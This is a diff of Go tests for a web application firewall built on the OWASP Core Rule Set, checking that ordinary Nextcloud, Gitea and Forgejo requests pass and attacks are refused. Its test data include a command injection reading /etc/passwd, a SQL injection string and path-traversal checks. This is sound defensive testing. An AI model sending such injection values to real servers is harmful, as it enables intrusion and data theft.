nextcloudShares,
jsonBody,
`{"path":"/Notes","note":"%s"}`,
},
{ {
http.MethodPut, "/ocs/v1.php/apps/files_sharing/api/v1/shares/1", http.MethodPut, "/ocs/v1.php/apps/files_sharing/api/v1/shares/1",
formData, "note=%s", formData, "note=%s",
@@ -352,10 +223,7 @@ const nextcloudCodeBlock = "```bash\n#!/bin/bash\nset -e\n" +
// nextcloudBodyScore returns the request that sends value, which is not // nextcloudBodyScore returns the request that sends value, which is not
// escaped, in sent's body, and the score crs gives it. // escaped, in sent's body, and the score crs gives it.
func nextcloudBodyScore( func nextcloudBodyScore(
t *testing.T, t *testing.T, crs *coreruleset.CoreRuleSet, sent nextcloudBody, value string,
crs *coreruleset.CoreRuleSet,
sent nextcloudBody,
value string,
) (string, int) { ) (string, int) {
t.Helper() t.Helper()
@@ -390,11 +258,7 @@ func nextcloudFieldScores(t *testing.T, value string) map[string]int {
scores := map[string]int{} scores := map[string]int{}
for _, target := range nextcloudQueryFields { for _, target := range nextcloudQueryFields {
scores["GET "+target+value] = inspect( scores["GET "+target+value] = inspect(t, crs, get(target+value)).Score
t,
crs,
get(target+value),
).Score
} }
for _, sent := range nextcloudFormFields { for _, sent := range nextcloudFormFields {
@@ -486,23 +350,11 @@ func TestNextcloudPasswordFieldsPass(t *testing.T) {
{"/apps/user_ldap/renewpassword", formData, change}, {"/apps/user_ldap/renewpassword", formData, change},
{"/index.php/apps/user_ldap/renewpassword", formData, change}, {"/index.php/apps/user_ldap/renewpassword", formData, change},
{"/apps/encryption/ajax/updatePrivateKeyPassword", formData, change}, {"/apps/encryption/ajax/updatePrivateKeyPassword", formData, change},
{ {"/index.php/apps/encryption/ajax/updatePrivateKeyPassword", formData, change},
"/index.php/apps/encryption/ajax/updatePrivateKeyPassword",
formData,
change,
},
{"/apps/encryption/ajax/changeRecoveryPassword", formData, recovery}, {"/apps/encryption/ajax/changeRecoveryPassword", formData, recovery},
{ {"/index.php/apps/encryption/ajax/changeRecoveryPassword", formData, recovery},
"/index.php/apps/encryption/ajax/changeRecoveryPassword",
formData,
recovery,
},
{"/apps/encryption/ajax/adminRecovery", formData, adminRecovery}, {"/apps/encryption/ajax/adminRecovery", formData, adminRecovery},
{ {"/index.php/apps/encryption/ajax/adminRecovery", formData, adminRecovery},
"/index.php/apps/encryption/ajax/adminRecovery",
formData,
adminRecovery,
},
{"/login/confirm", jsonBody, password}, {"/login/confirm", jsonBody, password},
{"/index.php/login/confirm", formData, password}, {"/index.php/login/confirm", formData, password},
{"/lostpassword/set/AbCdEf/alice", jsonBody, password}, {"/lostpassword/set/AbCdEf/alice", jsonBody, password},
@@ -528,7 +380,7 @@ func TestNextcloudPasswordFieldsPass(t *testing.T) {
func TestNextcloudUserPasswordInValuePasses(t *testing.T) { func TestNextcloudUserPasswordInValuePasses(t *testing.T) {
t.Parallel() t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
crs := readingBodies(t) crs := readingBodies(t)
target := nextcloudUsers + "/alice" target := nextcloudUsers + "/alice"
@@ -557,12 +409,7 @@ func TestNextcloudUserPasswordInValuePasses(t *testing.T) {
{jsonRequest, jsonPassword("; cat /etc/passwd")}, {jsonRequest, jsonPassword("; cat /etc/passwd")},
} { } {
if got, _ := inspectBody(t, crs, sent.r, sent.body); got.Score >= threshold { if got, _ := inspectBody(t, crs, sent.r, sent.body); got.Score >= threshold {
t.Errorf( t.Errorf("%s %.40s refused: %+v", sent.r.headers[0], sent.body, got)
"%s %.40s refused: %+v",
sent.r.headers[0],
sent.body,
got,
)
} }
} }
@@ -577,12 +424,7 @@ func TestNextcloudUserPasswordInValuePasses(t *testing.T) {
{jsonRequest, `{"key":"email","value":"' OR '1'='1"}`}, {jsonRequest, `{"key":"email","value":"' OR '1'='1"}`},
} { } {
if got, _ := inspectBody(t, crs, sent.r, sent.body); got.Score < threshold { if got, _ := inspectBody(t, crs, sent.r, sent.body); got.Score < threshold {
t.Errorf( t.Errorf("%s %.40s let through: %+v", sent.r.headers[0], sent.body, got)
"%s %.40s let through: %+v",
sent.r.headers[0],
sent.body,
got,
)
} }
} }
@@ -610,12 +452,7 @@ func TestNextcloudSentencesPassInTheTexts(t *testing.T) {
document := "Backup steps:\n\n" + nextcloudCodeBlock document := "Backup steps:\n\n" + nextcloudCodeBlock
request, score := nextcloudBodyScore( request, score := nextcloudBodyScore(t, readingBodies(t), nextcloudDocument, document)
t,
readingBodies(t),
nextcloudDocument,
document,
)
if score >= nextcloudThreshold { if score >= nextcloudThreshold {
t.Errorf("%s refused: %d", request, score) t.Errorf("%s refused: %d", request, score)
} }
@@ -662,10 +499,7 @@ func TestNextcloudAccountCookieSkipsTheFourRules(t *testing.T) {
crs := atDefaults(t) crs := atDefaults(t)
cookie := func(value string) request { cookie := func(value string) request {
return get( return get("/apps/files/", "Cookie: nc_sameSiteCookielax=true; nc_username="+value)
"/apps/files/",
"Cookie: nc_sameSiteCookielax=true; nc_username="+value,
)
} }
for _, value := range hardValues { for _, value := range hardValues {
@@ -722,40 +556,20 @@ func TestNextcloudWebDAVMethodsAreAllowedOnlyThere(t *testing.T) {
// MKCALENDAR only where the calendars are. // MKCALENDAR only where the calendars are.
for _, target := range []string{nextcloudCalendars, nextcloudCalendars + "work/"} { for _, target := range []string{nextcloudCalendars, nextcloudCalendars + "work/"} {
wantResult( wantResult(t, crs, request{nextcloudMkcalendar, target, nil}, matched())
t,
crs,
request{nextcloudMkcalendar, target, nil},
matched(),
)
} }
for _, target := range []string{ for _, target := range []string{
nextcloudFiles, nextcloudAddressBooks, "/remote.php/dav/", nextcloudFiles, nextcloudAddressBooks, "/remote.php/dav/",
"/x/remote.php/dav/calendars/", "/x/remote.php/dav/calendars/",
} { } {
wantResult( wantResult(t, crs, request{nextcloudMkcalendar, target, nil}, matched(911100))
t,
crs,
request{nextcloudMkcalendar, target, nil},
matched(911100),
)
} }
// PROPFIND, and no other WebDAV method, where a client asks for them. // PROPFIND, and no other WebDAV method, where a client asks for them.
for _, target := range []string{"/.well-known/caldav", "/.well-known/carddav"} { for _, target := range []string{"/.well-known/caldav", "/.well-known/carddav"} {
wantResult( wantResult(t, crs, request{nextcloudPropFind, target, nil}, matched())
t, wantResult(t, crs, request{nextcloudMkcol, target, nil}, matched(911100))
crs,
request{nextcloudPropFind, target, nil},
matched(),
)
wantResult(
t,
crs,
request{nextcloudMkcol, target, nil},
matched(911100),
)
} }
other := request{nextcloudPropFind, "/.well-known/other", nil} other := request{nextcloudPropFind, "/.well-known/other", nil}
@@ -789,12 +603,7 @@ func TestNextcloudDescriptionsPassAndAttacksAreRefused(t *testing.T) {
} { } {
sent := described.sent sent := described.sent
request, score := nextcloudBodyScore( request, score := nextcloudBodyScore(t, crs, sent, described.description)
t,
crs,
sent,
described.description,
)
if score >= nextcloudThreshold { if score >= nextcloudThreshold {
t.Errorf("%s refused: %d", request, score) t.Errorf("%s refused: %d", request, score)
} }
@@ -816,12 +625,7 @@ func TestNextcloudDescriptionsPassAndAttacksAreRefused(t *testing.T) {
// An MKCOL on the calendars' paths skips only the rules for names. // An MKCOL on the calendars' paths skips only the rules for names.
sent.method, sent.target = nextcloudMkcol, nextcloudCalendars+"work/" sent.method, sent.target = nextcloudMkcol, nextcloudCalendars+"work/"
request, score = nextcloudBodyScore( request, score = nextcloudBodyScore(t, crs, sent, described.description)
t,
crs,
sent,
described.description,
)
if score < nextcloudThreshold { if score < nextcloudThreshold {
t.Errorf("%s let through: %d", request, score) t.Errorf("%s let through: %d", request, score)
} }
@@ -857,10 +661,7 @@ func TestNextcloudChangedEventsAndContactsPass(t *testing.T) {
[]string{"Content-Type: text/plain; charset=UTF-8; charset=UTF-8"}, []string{"Content-Type: text/plain; charset=UTF-8; charset=UTF-8"},
}, },
} { } {
if got := inspect(t, crs, refused); !slices.Contains( if got := inspect(t, crs, refused); !slices.Contains(got.RuleIDs, 920530) {
got.RuleIDs,
920530,
) {
t.Errorf("%s %s %q let through: %+v", t.Errorf("%s %s %q let through: %+v",
refused.method, refused.target, refused.headers, got) refused.method, refused.target, refused.headers, got)
} }
@@ -901,12 +702,7 @@ func TestNextcloudUploadsAreNotReadAsFields(t *testing.T) {
} { } {
got, _ := inspectBody(t, crs, refused, upload.body) got, _ := inspectBody(t, crs, refused, upload.body)
if got.Score < nextcloudThreshold { if got.Score < nextcloudThreshold {
t.Errorf( t.Errorf("%s %s let through: %+v", refused.method, refused.target, got)
"%s %s let through: %+v",
refused.method,
refused.target,
got,
)
} }
} }
} }
@@ -917,13 +713,7 @@ func TestNextcloudPathTraversalIsRefusedInWebDAVPaths(t *testing.T) {
crs := atDefaults(t) crs := atDefaults(t)
methods := []string{ methods := []string{http.MethodGet, http.MethodPut, nextcloudPropFind, "MOVE", "LOCK"}
http.MethodGet,
http.MethodPut,
nextcloudPropFind,
"MOVE",
"LOCK",
}
for _, method := range methods { for _, method := range methods {
for _, target := range []string{ for _, target := range []string{
@@ -1011,13 +801,7 @@ func TestNextcloudExclusionsAreNarrow(t *testing.T) {
got, _ := inspectBody(t, crs, r, sent.body) got, _ := inspectBody(t, crs, r, sent.body)
if got.Score < nextcloudThreshold { if got.Score < nextcloudThreshold {
t.Errorf( t.Errorf("%s %s %s let through: %+v", sent.method, sent.target, sent.body, got)
"%s %s %s let through: %+v",
sent.method,
sent.target,
sent.body,
got,
)
} }
} }
} }
+44 -154
View File
@@ -13,13 +13,8 @@ import (
"slices" "slices"
"strings" "strings"
"testing" "testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
) )
// appsUnset labels the checks made while SWW_WAF_APPS is unset.
const appsUnset = "SWW_WAF_APPS unset"
// giteaRequests returns the recorded ordinary gitea requests in testdata. // giteaRequests returns the recorded ordinary gitea requests in testdata.
// Each has the Referer of a page that names the same, as a page opened // Each has the Referer of a page that names the same, as a page opened
// from it has. // from it has.
@@ -52,31 +47,16 @@ func giteaRequests(t *testing.T) []request {
return requests return requests
} }
// TestOrdinaryGiteaRequestsPass checks gitea's recorded requests with
// SWW_WAF_APPS unset, and on giteaHost while SWW_WAF_APPS lists only gitea for it.
func TestOrdinaryGiteaRequestsPass(t *testing.T) { func TestOrdinaryGiteaRequestsPass(t *testing.T) {
t.Parallel() t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
requests := giteaRequests(t) crs := atDefaults(t)
giteaOnly := map[string][]string{giteaHost: {gitea}}
for apps, crs := range map[string]*coreruleset.CoreRuleSet{ for _, r := range giteaRequests(t) {
appsUnset: atDefaults(t), if got := inspect(t, crs, r); got.Score >= threshold {
"SWW_WAF_APPS=" + giteaHost + ":" + gitea: servingApps(t, giteaOnly), t.Errorf("%s %q refused: %+v", r.target, r.headers[1:], got)
} {
for _, r := range requests {
got := inspect(t, crs, withHost(r, giteaHost))
if got.Score >= threshold {
t.Errorf(
"%s: %s %q refused: %+v",
apps,
r.target,
r.headers[1:],
got,
)
}
} }
} }
} }
@@ -122,169 +102,79 @@ func recordedRequests(t *testing.T, name string) []recordedRequest {
} }
// wantRecordedRequestsPass checks that none of the recorded ordinary // wantRecordedRequestsPass checks that none of the recorded ordinary
// requests in the file name in testdata is refused: with SWW_WAF_APPS unset, and // requests in the file name in testdata is refused, at the defaults and
// on the hostname where they were recorded, otherHost for WordPress and // while bodies are read. A request with neither a body nor a Content-Type
// example.com for the other apps, while SWW_WAF_APPS lists only app for it. Both // header is checked only at the defaults: with neither, the set that reads
// times, they are checked at the defaults and while bodies are read. A // bodies has nothing more to check. Each request runs as its own parallel
// request with neither a body nor a Content-Type header is checked only at // subtest.
// the defaults: with neither, the set that reads bodies has nothing more to func wantRecordedRequestsPass(t *testing.T, name string) {
// check. Each request runs as its own parallel subtest for each setting of
// SWW_WAF_APPS.
func wantRecordedRequestsPass(t *testing.T, name, app string) {
t.Helper() t.Helper()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
requests := recordedRequests(t, name) defaults, bodies := atDefaults(t), readingBodies(t)
for setting, apps := range map[string]map[string][]string{ for _, recorded := range recordedRequests(t, name) {
appsUnset: nil, t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
"SWW_WAF_APPS lists only " + app: {"example.com": {app}, otherHost: {app}}, t.Parallel()
} {
defaults := servingApps(t, apps) r := request{recorded.Method, recorded.Target, recorded.Headers}
bodies := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, got, _ := inspectBody(t, defaults, r, recorded.Body)
BodyInspectionSize: bodyLimit, Apps: apps, if got.Score >= threshold {
t.Errorf("%s %s refused: %+v", r.method, r.target, got)
}
typed := slices.ContainsFunc(recorded.Headers, func(header string) bool {
name, _, _ := strings.Cut(header, ":")
return strings.EqualFold(name, "Content-Type")
})
if recorded.Body == "" && !typed {
return
}
got, _ = inspectBody(t, bodies, r, recorded.Body)
if got.Score >= threshold {
t.Errorf("%s %s %.200q refused while bodies are read: %+v",
r.method, r.target, recorded.Body, got)
}
}) })
for _, recorded := range requests {
t.Run(
setting+": "+recorded.Method+" "+recorded.Target,
func(t *testing.T) {
t.Parallel()
r := request{
recorded.Method,
recorded.Target,
recorded.Headers,
}
got, _ := inspectBody(t, defaults, r, recorded.Body)
if got.Score >= threshold {
t.Errorf(
"%s %s refused: %+v",
r.method,
r.target,
got,
)
}
typed := slices.ContainsFunc(
recorded.Headers,
func(header string) bool {
name, _, _ := strings.Cut(header, ":")
return strings.EqualFold(name, "Content-Type")
},
)
if recorded.Body == "" && !typed {
return
}
got, _ = inspectBody(t, bodies, r, recorded.Body)
if got.Score >= threshold {
t.Errorf(
"%s %s %.200q refused while bodies are read: %+v",
r.method,
r.target,
recorded.Body,
got,
)
}
},
)
}
} }
} }
func TestOrdinaryDrupalRequestsPass(t *testing.T) { func TestOrdinaryDrupalRequestsPass(t *testing.T) {
t.Parallel() t.Parallel()
wantRecordedRequestsPass(t, "drupal-requests.txt", "drupal") wantRecordedRequestsPass(t, "drupal-requests.txt")
}
// TestOrdinaryForgejoRequestsPass checks Forgejo's recorded requests at the
// defaults only: with SWW_WAF_APPS unset, and on example.com, where they were
// recorded, while SWW_WAF_APPS lists only forgejo for it. While bodies are read,
// the Core Rule Set still refuses a new wiki page whose title and text name
// commands and files, as it does such text in gitea's comments
// (TestGiteaBodiesTheCoreRuleSetRefuses). The requests that name a file or a
// branch in a body are checked while bodies are read in
// TestForgejoNamesInBodiesPass.
func TestOrdinaryForgejoRequestsPass(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
requests := recordedRequests(t, "forgejo-requests.txt")
forgejoOnly := map[string][]string{"example.com": {forgejo}}
for apps, crs := range map[string]*coreruleset.CoreRuleSet{
appsUnset: atDefaults(t),
"SWW_WAF_APPS=example.com:forgejo": servingApps(t, forgejoOnly),
} {
for _, recorded := range requests {
r := request{recorded.Method, recorded.Target, recorded.Headers}
if got, _ := inspectBody(t, crs, r, recorded.Body); got.Score >= threshold {
t.Errorf(
"%s: %s %s refused: %+v",
apps,
r.method,
r.target,
got,
)
}
}
}
}
// TestGiteaNamesInBodiesPass checks gitea's recorded requests that name a
// file or a branch in a body, while bodies are read too.
func TestGiteaNamesInBodiesPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "gitea-names-in-bodies.txt", gitea)
}
// TestForgejoNamesInBodiesPass is TestGiteaNamesInBodiesPass for Forgejo.
func TestForgejoNamesInBodiesPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "forgejo-names-in-bodies.txt", forgejo)
}
func TestOrdinaryGhostRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "ghost-requests.txt", "ghost")
} }
func TestOrdinaryMastodonRequestsPass(t *testing.T) { func TestOrdinaryMastodonRequestsPass(t *testing.T) {
t.Parallel() t.Parallel()
wantRecordedRequestsPass(t, "mastodon-requests.txt", "mastodon") wantRecordedRequestsPass(t, "mastodon-requests.txt")
} }
func TestOrdinaryMediaWikiRequestsPass(t *testing.T) { func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
t.Parallel() t.Parallel()
wantRecordedRequestsPass(t, "mediawiki-requests.txt", mediawiki) wantRecordedRequestsPass(t, "mediawiki-requests.txt")
} }
func TestOrdinaryNextcloudRequestsPass(t *testing.T) { func TestOrdinaryNextcloudRequestsPass(t *testing.T) {
t.Parallel() t.Parallel()
wantRecordedRequestsPass(t, "nextcloud-requests.txt", nextcloud) wantRecordedRequestsPass(t, "nextcloud-requests.txt")
} }
func TestOrdinaryVaultwardenRequestsPass(t *testing.T) { func TestOrdinaryVaultwardenRequestsPass(t *testing.T) {
t.Parallel() t.Parallel()
wantRecordedRequestsPass(t, "vaultwarden-requests.txt", "vaultwarden") wantRecordedRequestsPass(t, "vaultwarden-requests.txt")
} }
func TestOrdinaryWordPressRequestsPass(t *testing.T) { func TestOrdinaryWordPressRequestsPass(t *testing.T) {
t.Parallel() t.Parallel()
wantRecordedRequestsPass(t, "wordpress-requests.txt", wordpress) wantRecordedRequestsPass(t, "wordpress-requests.txt")
} }
@@ -1,41 +0,0 @@
# Ordinary Forgejo 17.0.1 requests that name a file or a branch in a body, which
# the Core Rule Set must let through while it reads bodies. They were recorded
# from a Forgejo driven by a headless Chrome, signed in, and by a script on the
# API. Each line is one request as JSON. Names, cookies and tokens are
# invented. The browser's User-Agent is an ordinary Chrome's.
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 62", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"python3-docs\", \"old_branch_name\": \"main\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 103", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Add Dockerfile\", \"head\": \"feat/docker-support\", \"base\": \"main\", \"body\": \"Builds the image.\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents/scripts/powershell-build.ps1", "headers": ["Accept-Encoding: identity", "Content-Length: 105", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"V3JpdGUtSG9zdCAiYnVpbGQiCg==\", \"message\": \"Add a PowerShell build script\", \"branch\": \"main\"}"}
{"method": "POST", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 278", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=7fdea7fc2e2e31e0acbd7c19e7a79b71b370a535&page_has_posted=&tree_path=docker-compose.yml&content=services%3A%0D%0A++web%3A%0D%0A++++image%3A+nginx%3A1.27%0D%0A&commit_summary=Pin+nginx&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
{"method": "POST", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 272", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=550f5bc9ec44f5e1a7421342d5a29584893637e0&page_has_posted=&tree_path=docs%2Fpython3-setup.md&content=%23+Setup%0D%0A%0D%0AInstall+the+tools.%0D%0A&commit_summary=Add+setup+notes&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
{"method": "POST", "target": "/alice/tools/_delete/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 168", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=918ad9ba97e11df8bb1153b69029b667a8913ab1&commit_summary=Remove+.htaccess&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
{"method": "POST", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 186", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=d38a7aa4e96146ab653ff3f4ddfe7c4be030c0ef&commit_summary=Remove+scripts%2Finstall-script.sh&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
{"method": "POST", "target": "/alice/tools/branches/_new/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 28", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "new_branch_name=docker-build"}
{"method": "POST", "target": "/alice/tools/settings/rename_branch", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 52", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "from=feat%2Fdocker-support&to=feat%2Fpython3-support"}
{"method": "POST", "target": "/alice/tools/branches/_new/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 32", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "new_branch_name=powershell-build"}
{"method": "POST", "target": "/alice/tools/settings/rename_branch", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 46", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "from=powershell-build&to=fix-powershell-module"}
{"method": "POST", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 335", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=81a7c32c1d6563647702da20db8b312378dbb09a&page_has_posted=&tree_path=docker-compose.yml&content=services%3A%0D%0A++web%3A%0D%0A++++image%3A+nginx%3A1.27%0D%0A++++restart%3A+always&commit_summary=Restart+the+web+service&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=feat%2Fdocker-support&commit_mail_id=1"}
{"method": "POST", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 251", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=81a7c32c1d6563647702da20db8b312378dbb09a&page_has_posted=&tree_path=docs%2Fsetup.md&content=%23+Setup&commit_summary=Add+setup+notes&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=powershell-setup-notes&commit_mail_id=1"}
{"method": "POST", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 195", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=81a7c32c1d6563647702da20db8b312378dbb09a&commit_summary=Drop+the+old+setup+script&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=python3-migration&commit_mail_id=1"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 78", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"powershell-ci\", \"old_branch_name\": \"feat/docker-support\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 76", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"python3-docs\", \"old_ref_name\": \"fix-powershell-module\"}"}
